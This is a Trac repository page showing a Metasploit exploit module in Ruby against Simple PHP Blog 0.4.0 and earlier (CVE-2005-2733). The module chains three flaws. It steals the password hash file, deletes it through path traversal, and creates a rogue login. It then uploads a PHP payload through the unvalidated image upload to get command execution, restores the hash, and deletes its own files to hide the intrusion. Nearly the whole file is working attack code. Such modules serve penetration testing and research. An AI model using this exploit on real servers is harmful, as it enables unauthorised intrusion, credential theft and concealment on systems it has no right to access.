root/framework3/trunk/modules/exploits/unix/webapp/sphpblog_file_upload.rb

Revision 5193, 6.0 kB (checked in by patrickw, 6 months ago)

Added SPHPBlog exploit module.

  • Property svn:keywords set to Rev Revision Id Header
Line 
1 ##
2 # $Id$
3 ##
4
5 ##
6 # This file is part of the Metasploit Framework and may be subject to
7 # redistribution and commercial restrictions. Please see the Metasploit
8 # Framework web site for more information on licensing and terms of use.
9 # http://metasploit.com/projects/Framework/
10 ##
11
12
13 require 'msf/core'
14
15 module Msf
16
17 class Exploits::Unix::Webapp::SPHPBlog_File_Upload < Msf::Exploit::Remote
18
19         include Exploit::Remote::HttpClient
20
21         def initialize(info = {})
22                 super(update_info(info,
23                         'Name'           => 'Simple PHP Blog <= 0.4.0 Remote Command Execution',
24                         'Description'    => %q{
25                                 This module combines three separate issues within The Simple PHP Blog (<= 0.4.0)
26                                 application to upload arbitrary data and thus execute a shell. The first
27                                 vulnerability exposes the hash file (password.txt) to unauthenticated users.
28                                 The second vulnerability lies within the image upload system provided to
29                                 logged-in users; there is no image validation function in the blogger to
30                                 prevent an authenticated user from uploading any file type. The third
31                                 vulnerability occurs within the blog comment functionality, allowing
32                                 arbitrary files to be deleted.
33                         },
34                         'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'patrick' ],
35                         'License'        => MSF_LICENSE,
36                         'Version'        => '$Revision$',
37                         'References'     =>
38                                 [
39                                         ['OSVDB', '19012'],
40                                         ['BID', '14667'],
41                                         ['CVE', '2005-2733'],
42                                         ['URL', 'http://www.milw0rm.com/exploits/1191'],
43                                 ],
44                         'Privileged'     => false,
45                         'Payload'        =>
46                                 {
47                                         'DisableNops' => true,
48                                         'Space'       => 1024,
49                                 },
50                         'Platform'       => 'php',
51                         'Arch'           => ARCH_PHP,
52                         'Targets'        => [[ 'Automatic', { }]],
53                         'DisclosureDate' => 'August 25 2005',
54                         'DefaultTarget'  => 0))
55
56                         register_options(
57                                 [
58                                         OptString.new('URI', [true, "Sphpblog directory path", "/sphpblog"]),
59                                 ], self.class)
60         end
61
62         def check
63                 res = send_request_raw({
64                         'uri'     => datastore['URI'] + '/index.php'
65                 }, 25)
66
67                 if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/)
68                        
69                         ver = [ $1.to_i, $2.to_i, $3.to_i ]
70                         print_status("Simple PHP Blog #{ver.join('.')}")
71                        
72                         if (ver[0] == 0 and ver[1] < 5)
73                                 if (ver[1] == 4 and ver[2] > 0)
74                                         return Exploit::CheckCode::Safe
75                                 end
76                                 return Exploit::CheckCode::Vulnerable
77                         end
78                 end
79
80                 return Exploit::CheckCode::Safe
81         end
82
83         def retrieve_password_hash(file)
84
85                 res = send_request_raw({
86                         'uri'    => datastore['URI'] + file,
87                 }, 25)
88                
89                 if (res.message == "OK" and res.body)
90                         print_status("Successfully retrieved hash: #{res.body}")
91                         return res.body
92                 else
93                         print_status("Server may not be vulnerable.")
94                         return false
95                 end
96         end
97
98         def create_new_password(user, pass)
99
100                 res = send_request_cgi({
101                         'uri'     => datastore['URI'] + '/install03_cgi.php',
102                         'method'  => 'POST',
103                         'data'    => "user=#{user}&pass=#{pass}",
104                 }, 25)
105
106                 if (res)
107                         print_status("Successfully created temporary account.")
108                 else
109                         print_status("Error creating our account.")
110                 end
111         end
112
113         def retrieve_session(user, pass)
114
115                 res = send_request_cgi({
116                         'uri'     => datastore['URI'] + "/login_cgi.php",
117                         'method'  => 'POST',
118                         'data'    => "user=#{user}&pass=#{pass}",
119                 }, 25)
120
121                 if (res)
122                         print_status("Successfully logged in as #{user}:#{pass}")
123
124                         if (res.headers['Set-Cookie'] =~ /my_id=(.*)/)
125                                 session = $1
126                                 print_status("Successfully retrieved cookie: #{session}")
127                                 return session
128                         else
129                                 print_status("Error retrieving cookie!")
130                         end
131                 else
132                         print_status("No response from the server.")
133                 end
134         end
135
136         def upload_page(session, dir, newpage, contents)
137
138                 boundary = rand_text_alphanumeric(6)
139                
140                 data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"userfile\"; "
141                 data << "filename=\"#{newpage}\"\r\nContent-Type: text/plain\r\n\r\n"
142                 data << contents
143                 data << "\r\n--#{boundary}--"
144
145                 res = send_request_raw({
146                         'uri'     => datastore['URI'] + "/upload_img_cgi.php",
147                         'method'  => 'POST',
148                         'data'    => data,
149                         'headers' =>
150                         {
151                                 'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
152                                 'Content-Length' => data.length,
153                                 'Cookie'         => "my_id=#{session}; PHPSESSID=#{session}",
154                         }
155                 }, 25)
156
157                 if (res)
158                         print_status("Successfully uploaded #{newpage}")
159                 else
160                         print_status("Error uploading #{newpage}")
161                 end
162         end
163
164         def reset_original_password(hash, scriptlocation)
165                
166                 res = send_request_cgi({
167                         'uri'    => datastore['URI'] + scriptlocation,
168                         'method' => 'POST',
169                         'data'   => "hash=" + hash,
170                 }, 25)
171
172                 if (res)
173                         print_status("Successfully reset original password hash.")
174                 else
175                         print_status("Error resetting original password!")
176                 end
177         end
178
179         def delete_file(file)
180                
181                 delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}"
182
183                 res = send_request_raw({
184                         'uri'   => datastore['URI'] + delete_path,
185                 }, 25)
186
187                 if (res)
188                         print_status("Successfully removed #{file}")
189                 else
190                         print_status("Error removing #{file}!")
191                 end
192         end
193
194         def cmd_shell(cmdpath)
195                 print_status("Calling payload: #{cmdpath}")
196
197                 res = send_request_raw({
198                         'uri'   => datastore['URI'] + cmdpath
199                 }, 25)
200                
201         end
202
203         def exploit
204
205                 # Define the scripts to be uploaded to aid in exploitation
206                 cmd_php = '<?php ' + payload.encoded + '?>'
207
208                 reset_php = %Q|
209                 <?php $hash = $_POST['hash'];
210                 $fp = fopen("../config/password.txt","w");
211                 fwrite($fp,$hash);
212                 fpclose($fp);
213                 ?>|
214
215                 # Generate some random strings
216                 cmdscript       = rand_text_alphanumeric(20) + '.php'
217                 resetscript     = rand_text_alphanumeric(20) + '.php'
218                 newuser         = rand_text_alphanumeric(6)
219                 newpass         = rand_text_alphanumeric(6)
220
221                 # Static files
222                 directory       = '/images/'
223                 cmdpath         = directory + cmdscript
224                 resetpath       = directory + resetscript
225                 passwdfile      = '/config/password.txt'
226
227                 # Let's do this thing
228                 hash = retrieve_password_hash(passwdfile)
229                 delete_file(passwdfile)
230                 create_new_password(newuser, newpass)
231                 session = retrieve_session(newuser, newpass)
232                 upload_page(session, directory, resetscript, reset_php)
233                 upload_page(session, directory, cmdscript, cmd_php)
234                 reset_original_password(hash, resetpath)
235                 delete_file(resetpath)
236                 cmd_shell(cmdpath)
237                 delete_file(cmdpath)   
238         end
239 end
240 end
Note: See TracBrowser for help on using the browser.